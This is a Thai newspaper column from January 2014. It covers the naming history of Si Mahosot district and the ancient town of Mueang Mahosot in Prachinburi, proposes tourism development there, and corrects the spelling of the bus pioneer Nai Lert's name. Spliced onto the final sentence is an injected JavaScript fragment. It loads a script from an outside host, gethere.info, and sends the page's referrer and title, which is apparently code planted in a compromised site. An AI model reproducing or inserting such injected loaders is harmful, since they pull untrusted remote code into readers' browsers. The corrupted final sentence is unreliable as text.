มติชนรายวัน ฉบับประจำวันศุกร์ที่ 24 มกราคม 2557

 

เมืองมโหสถ อ. ศรีมโหสถ จ. ปราจีนบุรี

          เมืองมโหสถ อยู่ใน อ. ศรีมโหสถ จ. ปราจีนบุรี

          ชื่อเมืองมโหสถ ไม่มีคำว่า ศรี แต่ชื่อ อ. ศรีมโหสถ มีคำว่า ศรี

          อ. ศรีมโหสถ จ. ปราจีนบุรี แต่เดิมคือพื้นที่ ต. โคกปีบ ซึ่งเป็นเขตป่าดงของ อ. ศรีมหาโพธิ (อ่านว่า สี-มะ-หา-โพด) จ. ปราจีนบุรี ได้รับยกฐานะเป็นอำเภอครั้งแรก พ.ศ. 2447 สมัย ร.5

          พ.ศ. 2513 ยกฐานะ ต. โคกปีบ เป็น กิ่ง อ. โคกปีบ (ของ ศรีมหาโพธิ) ต่อมาแยกเป็น อ. โคกปีบ ในภายหลัง

          พ.ศ. 2536 เปลี่ยนชื่อจาก อ. โคกปีบ เป็น อ. ศรีมโหสถ ตามชื่อเมืองโบราณ ราว 1,500 ปีมาแล้ว ที่ชาวบ้านซึ่งเป็นชาวพวนเรียกเมืองมโหสถ

          โดยเติมคำว่า ศรี นำหน้าชื่อ มโหสถ เป็น อ. ศรีมโหสถ ให้สอดคล้องชื่อ อ. ศรีมหาโพธิ ที่แยกออกมา เพื่อเป็นร่องรอยว่าเคยอยู่รวมกันมาก่อน

          (ผู้ดำเนินการจนสำเร็จและรู้เรื่องนี้ดีที่สุด คือ นายเจด็จ มุสิกวงศ์ อดีตผู้ว่าฯ หลายจังหวัด แต่ครั้งนั้นมีตำแหน่งเป็นนายอำเภอโคกปีบ และเป็นต้นคิดเปลี่ยนชื่ออำเภอ)

ทางการ อ. ศรีมโหสถ จ. ปราจีนบุรี มีป้ายปักไว้อย่างแข็งแรงบอกบริเวณเมืองมโหสถ แต่เขียนเป็นเมืองศรีมโหสถ ควรแก้ไขเป็น เมืองมโหสถ

          เมืองมโหสถ ได้ชื่อจากเมืองของพระมโหสถในชาดกเรื่องมโหสถ หรือมโหสถชาดก (อยู่ในลำดับที่ 5 ของทศชาติชาดก)

          ซึ่งเป็นชาดกที่กลุ่มลาวสองฝั่งโขงยกย่องเลื่อมใสมาแต่โบราณกาล ครั้นถูกกวาดต้อนลงมาตั้งหลักแหล่งอยู่บริเวณมีเมืองโบราณที่ร้างแล้ว และไม่มีใครรู้ว่าชื่ออะไร ก็ยกเอาชื่อศักดิ์สิทธิ์มาตั้งให้ ว่า เมืองมโหสถ (ไม่มีคำว่า ศรี)

          เมืองมโหสถในอนาคต คือ แหล่งท่องเที่ยวทาง“วัฒนธรรมชาติ” (มาจากวัฒนธรรมกับธรรมชาติ)

          ทุกวันนี้พื้นที่บางส่วนของ อ. ศรีมหาโพธิ ถูกกำหนดเป็นย่านอุตสาหกรรม 304 มีโรงงานหนีน้ำท่วมจากอยุธยามาเพิ่มอีกมาก จึงมีผู้คนอยู่อาศัยคับคั่ง และมีแนวโน้มเป็นชุมชนหนาแน่น จนถึงชุมชนแออัด (ถ้าไม่ระวัง)

          บริเวณ อ. ศรีมโหสถ เป็นเขตต่อเนื่องกับ อ. ศรีมหาโพธิ มีต้นโพธิ์ขนาดสูงใหญ่ และเก่าแก่ที่สุดในไทย เป็นต้นไม้ศักดิ์สิทธิ์ แล้วยังมีเมืองมโหสถ  ที่รักษาคูน้ำคันดินล้อมรอบ มีแมกไม้ร่มรื่นเหมาะจัดเป็นแหล่งท่องเที่ยวทาง“วัฒนธรรมชาติ” รองรับผู้คนผ่านโรงงานอุตสาหกรรม

          ทางการได้จัดตั้ง “คณะทำงานเพื่อพัฒนาแหล่งท่องเที่ยวที่สำคัญทางประวัติศาสตร์ในพื้นที่อำเภอศรีมโหสถ” ควรให้ความสำคัญการรักษาสภาพแวดล้อมทาง“วัฒนธรรมชาติ” เพราะจะเป็นขุมทรัพย์มีค่ามหาศาลในอนาคตจากการท่องเที่ยว ให้ลูกหลานอยู่ดีมีสุข ทั้งของคนใน อ. ศรีมโหสถ และ อ. ศรีมหาโพธิ รวมถึงนักท่องเที่ยวทั่วไทย

          เพราะปัจจุบันเป็นทางผ่านขึ้นเขาใหญ่, ไปตลาดโรงเกลือ อรัญประเทศ จ. สระแก้ว, และไปชายทะเลตะวันออก แต่นักท่องเที่ยวเหล่านั้นยังไม่แวะ เพราะยังไม่รู้จัก อ. ศรีมโหสถ

          อีกไม่นาน บริเวณเมืองมโหสถ อ. ศรีมโหสถ จะเป็นชานเมืองของกรุงเทพฯ ยิ่งจะมีคนชั้นกลางใหม่มาเที่ยวมากขึ้น

 

รถเมล์สายแรกของ นายเลิด

          มีผู้เขียนจดหมายทักท้วงผมมาดังนี้

          “ในบทความได้เอ่ยถึง พระยาภักดีนรเศรษฐ์ (เลิศ เศรษฐบุตร) (รถเมล์สายแรก) ใคร่ขอกราบเรียนให้ทราบว่า ท่านผู้นี้ชื่อ เลิด (ด เด็ก)

          สังคมไทยรู้จักนายเลิดเป็นอย่างดีจากชื่อรถเมล์นายเลิดหรือรถเมล์ขาว และโรงพยาบาลเลิดสิน

          แต่หลังจากธิดาของท่าน (ท่านหญิงเลอศักดิ์) สิ้นไปแล้ว ก็เริ่มเห็นสื่อต่างๆ จะสะกดชื่อท่านว่า เลิศ คงเป็นความเข้าใจผิดแล้ว ไม่มีใครคอยแก้ไขชี้แจงให้สาธารณชนรู้โดยเฉพาะสื่อต่างๆ เวลาลงข่าวอะไรเกี่ยวกับปาร์คนายเลิด ก็จะสะกดผิดเป็น เลิศ อยู่เสมอ” | ผู้อ่าน กทม.

          ผมเป็นผู้หนึ่งเคยรู้เรื่องชื่อนายเลิด แต่เผลอเขียนเป็นนายเลิศทุกครั้ง

          จึงต้องพยายามแก้ไขต่อไป แม้จะรู้ว่ายากมากก็ตาม ขอขอบพระคุณที่เตือนs.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;